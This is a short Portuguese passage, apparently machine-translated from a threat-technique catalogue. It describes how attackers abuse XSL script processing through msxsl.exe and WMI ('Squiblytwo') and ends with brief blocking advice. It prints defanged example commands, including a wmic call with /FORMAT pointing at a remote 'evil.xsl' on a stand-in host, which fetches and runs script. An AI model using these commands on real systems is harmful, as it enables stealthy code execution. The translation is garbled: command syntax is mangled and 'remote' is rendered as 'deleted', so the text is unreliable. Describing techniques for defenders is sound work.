Descrição: a Extensible Stylesheet Language (* .xsl) é normalmente usada para descrever o processamento e a renderização de dados em arquivos XML. Para oferecer suporte a operações complexas em XSL, é possível incorporar scripts em vários idiomas no código. Os invasores podem abusar dessa funcionalidade para executar arquivos arbitrários. Semelhante à técnica de abuso de utilitários de desenvolvedor confiáveis (Utilitários de Desenvolvedor Confiáveis), o utilitário confiável msxsl.exe, que converte um documento XML em outro formulário (html, wml, rtf, pdf etc.) pode ser usado para executar JavaScript malicioso incorporado em local ou arquivos XSL excluídos (referenciados via URL). Como o msxsl.exe não está instalado por padrão, o adversário provavelmente precisará compactá-lo e outros arquivos necessários. Exemplo de chamada msxsl.exe:
Clientes msxsl.exe [.] script xml [.] xsl .
Outra variação dessa técnica, chamada Squiblytwo, é usar o WMI para chamar JScript ou VBScript a partir de um arquivo xsl. Essa técnica, como o Squiblydoo, que abusa do regsrv32.exe, também usa ferramentas confiáveis do Windows:
• Arquivo local:
lista de processos wmic /FORMAT:evil[..BIZxsl;• Arquivo remoto:
wmic os get / FORMAT :
decidehttps [ :
; // exemplo [. † com / evil [. † xsl. "Recomendações de proteção: Se o msxsl.exe não for usado no ambiente protegido, bloqueie sua execução. Desabilitar o WMI, pelo contrário, pode levar à instabilidade do sistema e, portanto, requer uma avaliação preliminar das consequências.